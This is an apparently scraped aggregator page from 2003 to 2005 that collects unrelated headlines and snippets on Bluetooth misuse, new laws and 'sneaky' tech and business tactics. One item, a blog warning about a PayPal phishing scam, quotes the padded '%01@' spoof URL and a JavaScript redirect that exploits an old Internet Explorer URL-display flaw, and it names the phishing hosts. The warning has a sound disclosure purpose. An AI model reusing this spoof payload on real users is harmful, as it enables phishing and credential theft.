Kuwait outlaws the misuse of Bluetooth, thinks it's banning sneaky cameraphone pics

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PDA News - Asus A730 pics, Loox 700 with
pics, Faster Bluetooth

PDA News - Asus A730 pics, Loox 700 with
pics, Faster Bluetooth 06/09/2004 07:23 AM
bargainPDA.com Jun 9 2004 11:14AM GMT

Misuse of Bluetooth technology growing

Misuse of Bluetooth technology growing 12/26/2004 03:46 AM
Gulf News Dec 26 2004 6:33AM GMT

Police warn against the misuse of
Bluetooth technology

Police warn against the misuse of
Bluetooth technology 12/26/2004 03:46 AM
Gulf News Dec 26 2004 6:32AM GMT

Students Develops Bluetooth Cameraphone
Jammer

Students Develops Bluetooth Cameraphone
Jammer 09/10/2004 09:26 AM

Blueserker passes on information from an article in Singapore's Asia One about three students from Temasek Polytechnic who have figured out a way to disable the camera function of select Nokia phones via Bluetooth. While the concept itself is interesting - enter a 'no camera' zone, and your phone disables itself automagically - the fact that Nokia's Bluetooth implementation allows a remote user to disable functions is probably the more immediate issue here. The affected phones are the 6600 and the 7210 - an attempt to shut down a 7650 failed.

Read - Asian students figure out how to shut down cameraphone voyeurs [Blueserker]

The Motorola V710, Verizon's one
megapixel cameraphone with Bluetooth

The Motorola V710, Verizon's one
megapixel cameraphone with Bluetooth 07/20/2004 04:17 PM
Engadget Jul 20 2004 7:09PM GMT

CES Continues: 1 Megapixel Cameraphone,
V600 on AT&T, and Bluetooth Galore

CES Continues: 1 Megapixel Cameraphone,
V600 on AT&T, and Bluetooth Galore 01/09/2004 11:23 PM
The Feature Jan 9 2004 8:39PM ET

Problem sending pics to PC via Bluetooth
(3650)

Problem sending pics to PC via Bluetooth
(3650) 02/01/2005 09:37 PM
All About Symbian Feb 1 2005 9:58AM GMT

palmOne and TomTom Join to Provide
Bluetooth GPS Navigator (pics)

palmOne and TomTom Join to Provide
Bluetooth GPS Navigator (pics) 05/25/2004 02:16 AM
bargainPDA.com May 25 2004 5:59AM GMT

Kuwait City - Kuwait Towers

Kuwait City - Kuwait Towers 03/20/2003 07:44 PM
Wonder about those towers behind Wolf Blitzer? I have, as I'm sure you have, seen a lot of the three sculptural towers behind the various newscasters transmitting from Kuwait City. They're quite beautiful -- award winning -- water towers (holding 4500 cubic meters). Built in 1979 by swedes, they are the largest and most visible part of a 100,000 cubic meter water storage system, which also includes the mushrooms along the beaches.

If the Press Digs Where it Thinks
There's a Story, Then it Matters How The
Press Thinks

If the Press Digs Where it Thinks
There's a Story, Then it Matters How The
Press Thinks 04/09/2004 04:12 PM
We are coming to a point in the election story when a larger portion of the news is triggered by the decisions of journalists. There's a break in the action with the nominations set. What will the press do with this greater freedom to define and shape the campaign narrative?

California outlaws PC spyware

California outlaws PC spyware 01/02/2005 10:52 PM
The World News Jan 3 2005 2:37AM GMT

When Running is Outlawed, Only Outlaws
Will Run

When Running is Outlawed, Only Outlaws
Will Run 01/11/2004 03:49 AM
Marijuana Buzz Linked to 'Runner's High.' How do I begin to pose one suitable question? Will we see tapped-out stoners jogging roadside in Phish-logo sweats and Nikes? Will the DEA outlaw running? Will states enact "medical running" legislation? Will the ONDCP be forced to release new "Now go tell your teammates you were caught getting high from running; they'll understand" ads?

Schwarzenegger outlaws sex with corpses
(Reuters)

Schwarzenegger outlaws sex with corpses
(Reuters) 09/10/2004 06:48 PM
Reuters - Having sex with corpses is now officially illegal in California after Governor Arnold Schwarzenegger signed a bill barring necrophilia, a spokeswoman says.

Zanzibar outlaws homosexual acts

Zanzibar outlaws homosexual acts 04/14/2004 06:33 AM
Zanzibar's parliament passes a new bill that outlaws homosexuality and lesbianism.

A Decade After Massacres, Rwanda Outlaws
Ethnicity

A Decade After Massacres, Rwanda Outlaws
Ethnicity 04/09/2004 04:02 PM
Rwanda, where ethnic tensions were whipped up into a frenzy of killing, is now trying to make ethnicity a thing of the past.

Senate outlaws common technologies used
for nefarious purposes

Senate outlaws common technologies used
for nefarious purposes 06/29/2004 12:05 PM
Today, according to a fictional press release we just received, the U.S. Senate has introduced a bill banning the following items: whetstones, car wax, permanent markers, and MP3 player cases in their continuing fight against copyright infringement.

Gmail gets sneaky

Gmail gets sneaky 07/22/2004 08:12 PM

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Google’s Gmail has quietly kicked the teeth out of other email services like Yahoo and Hotmail in what I like to call “POP value” (Perceived popular value). What Gmail does not offer in numbers, they make up for in crafty feature add-ons. Google has now included the ability to import Yahoo, Hotmail and even AOL email contacts on over to your Gmail account. The funny thing is, this is the digital equivalent to having Yahoo/MSN…

Decree Outlaws Iraqi Militias In Effort
to Increase Security
(washingtonpost.com)

Decree Outlaws Iraqi Militias In Effort
to Increase Security
(washingtonpost.com) 06/07/2004 10:24 PM
washingtonpost.com - BAGHDAD, June 7 -- The new Iraqi government and U.S. occupation authorities declared all militias illegal Monday and outlined a $200 million program to redirect their estimated 100,000 fighters into official security forces, retirement or civilian professions.

Darn sneaky marketeese!

Darn sneaky marketeese! 08/17/2004 09:13 AM
Marketeese is sneaky. I was describing the support you get with different levels of an online service I'll be offering next year, and I caught myself writing things like "Basic discussion, advanced support and personal support", when what I was trying to say was that you get access to the ...

Sneaky New 'Doom' Spreading

Sneaky New 'Doom' Spreading 02/10/2004 07:55 PM
techtv Feb 11 2004 0:20AM GMT

Sneaky Sharing (PC World)

Sneaky Sharing (PC World) 09/02/2004 04:32 AM
PC World - Despite well-publicized wins by piracy foes, illegal digital music and movie trading continues to flourish in underground havens.

Sneaky look at Boeing Surplus

Sneaky look at Boeing Surplus 09/12/2004 05:30 AM
Cory Doctorow: Tom sez, "I took some photos at Boeing Surplus today. It's a store that Boeing operates in Kent, Washington, about twenty minutes south of Seattle. They sell all sorts of weird and strange stuff, from gear used in the construction of jet liners to office chairs to old employee nameplates. Photos and cameras are strictly prohibited, so I was lucky to make it out with these photos that give a small sense of the place." Link (Thanks, Tom!)

Phone, DSL Company Bills Getting Sneaky

Phone, DSL Company Bills Getting Sneaky 05/14/2004 06:17 PM
Telephone companies are passing their own cost of doing business to their customers with an array of surcharges that one might easily mistake for taxes being collected on behalf of the government.

Papa's Sneaky Pizza Trick

Papa's Sneaky Pizza Trick 04/08/2005 03:41 PM
Papa John's builds another quarter of strong sales and upstages Domino's on "The Apprentice."

New, sneaky, evil PayPal spoof.

New, sneaky, evil PayPal spoof. 12/28/2003 06:58 PM
Mike Outmesguine points us to yet another new riff on the classic PayPal scam (click thumbnail for full-size image):

I got this email that looks like it came from PayPal. Of course, I didn't believe it for a second. But I'm sure others would. Digging deeper, the URL redirects people to a site in China that uses the IE URL spoof to seem like it's sitting at paypal.com. Insidious! I reported this to Paypal and they confirmed it's a spoof site. Here's the breakdown:

1. URL included in the original email:
<a href="http://www.paypal.com%01%01%01%01%01%01%
01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%
01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01@pp.youlikeshe.com ">click here</a>
2. jump-off site pp.youlikeshe.com
3. Actual site being loaded (remove spaces to activate): www . Epack . Ch/p/verify.htm
4. Spoofed to appear as www.paypal.com using the IE URL spoof vulnerability shown here:
<script language="JavaScript"> location.href=unescape('http://www.paypal.com%01@www.epack.ch/p/verify .htm '); </script>

Microsoft has not released a patch for this URL vulnerability. Now it seems there is a real-world attack, albeit only to Paypal members so far. Sneaky buggers!

Sneaky Credit Card Tactics

Sneaky Credit Card Tactics 08/17/2004 09:04 AM
Keep an eye on your credit card issuers -- they may be about to raise your rates.

Toys R Us' sneaky trick loses in court

Toys R Us' sneaky trick loses in court 12/11/2003 05:00 PM
Eli the Bearded says: "This story of Louisiana winning a court tax battle is interesting to see the types of tax evasion big companies use.

"In this case Toys R Us advertises using a giraffe mascot named Geoffrey. But TRU does not own the rights to that mascot, instead Geoffrey, Inc (a TRU subsidiary) owns them. So the toy store "licenses" the trademark from Geoffrey, Inc, at a hefty rate, then calls that a business expense and deducts from its pre-tax income. Since GI isn't a Louisiana company, TRU argued that it doesn't need to pay LA taxes on it's income. The judge disagreed." Link

Sneaky Paypal fraud page rewrites URL

Sneaky Paypal fraud page rewrites URL 05/12/2004 12:50 PM
Until now, it's been easy to spot a paypal fraud site by the telltale URL. But here's a Paypal fraud page that uses a Microsoft feature/bug (take your pick) to overwrite the scammer's URL with a legitimate-looking URL. If you make the page small, you'll be able to see the fraudster's URL. (Since I have a Mac, I can't try this out myself to see what actually happens.) Link (Warning: do NOT enter your paypal information here -- unless you want to be swindled) (Thanks, Joe!)

'You've Got Spyware!' AOL Update Will
Scan for Sneaky Programs

'You've Got Spyware!' AOL Update Will
Scan for Sneaky Programs 04/22/2004 01:13 AM
America Online is fighting fire with fire.

Fair Use and Misuse

Fair Use and Misuse 08/27/2004 01:58 PM
Here is a very worrisome problem concerning fair use. It has to do with a dichotomy long noted by legal thinkers between the law on the books and the law in action. They often diverge. And fair use is an example of this divergence. As I said in an earlier...

Adware Company Buys Sneaky
Distributor... But Reasoning Is
Questionable

Adware Company Buys Sneaky
Distributor... But Reasoning Is
Questionable 04/08/2005 03:15 PM
Many of the various adware companies that use sneaky install methods often hide behind the cover of their "affiliates." They say that it's really their affiliates who use a sneaky install process, and therefore, it's not their fault at all -- even though the adware companies often turn a blind eye on abuses. In the past few months, the various adware companies have all been claiming that they're reforming their ways and are trying to stop dealing with these types of affiliates -- which is the party line well known adware provider 180Solutions is using to explain their decision to buy up their largest distributor, whose reputation isn't squeaky clean when it comes to sneaky installs. Of course, this doesn't seem to make much sense. If 180Solutions is upset about CDT, why not just kick them out of the affiliate program? Why buy out the company and reward its owners for being sneaky and (supposedly) getting 180Solutions into all this trouble they don't think they deserve?

Sneaky game hijacks your buddy list to
spam your pals

Sneaky game hijacks your buddy list to
spam your pals 02/12/2004 01:59 PM
When players accept the terms of service for an Osama Bin Laden game, a piggyback program sends advertising to everyone on their buddy lists.

On Wednesday, Buddylinks' Web site contained a message denying the program is a virus. The home page also makes no mention that the program would in the future send out additional advertisements using the same method.

"Our games interact with instant messengers by promoting the game among the user's network of buddies,'' it reads. "Please understand, our flash games are in no way a virus. We simply combine peer-to-peer, social networking, and instant messaging into one spectacular technology.''

Link

MPs start review of Computer Misuse Act

MPs start review of Computer Misuse Act 04/29/2004 10:42 AM
ZDNet UK Apr 29 2004 2:09PM GMT

Cheat Sheet: The Computer Misuse Act

Cheat Sheet: The Computer Misuse Act 07/01/2004 01:40 PM
Silicon.com Jul 1 2004 5:18PM GMT

MPs urged to overhaul Computer Misuse
Act

MPs urged to overhaul Computer Misuse
Act 06/23/2004 09:06 AM
ZDNet UK Jun 23 2004 1:28PM GMT

Internet misuse at work on the rise

Internet misuse at work on the rise 04/20/2004 05:59 AM
Guardian Unlimited Apr 20 2004 10:28AM GMT

Fearless youth misuse Internet

Fearless youth misuse Internet 03/28/2005 11:18 AM
Pe.com - Mon Mar 28, 10:39 am GMT

FatWallet sues Best Buy over DMCA misuse

FatWallet sues Best Buy over DMCA misuse 12/02/2003 01:49 AM
FatWallet responds to Best Buy's demand for information about a poster with a suit alleging misuse of the DMCA

Workplace internet misuse on the rise

Workplace internet misuse on the rise 04/20/2004 06:00 AM
Guardian Unlimited Apr 20 2004 10:21AM GMT
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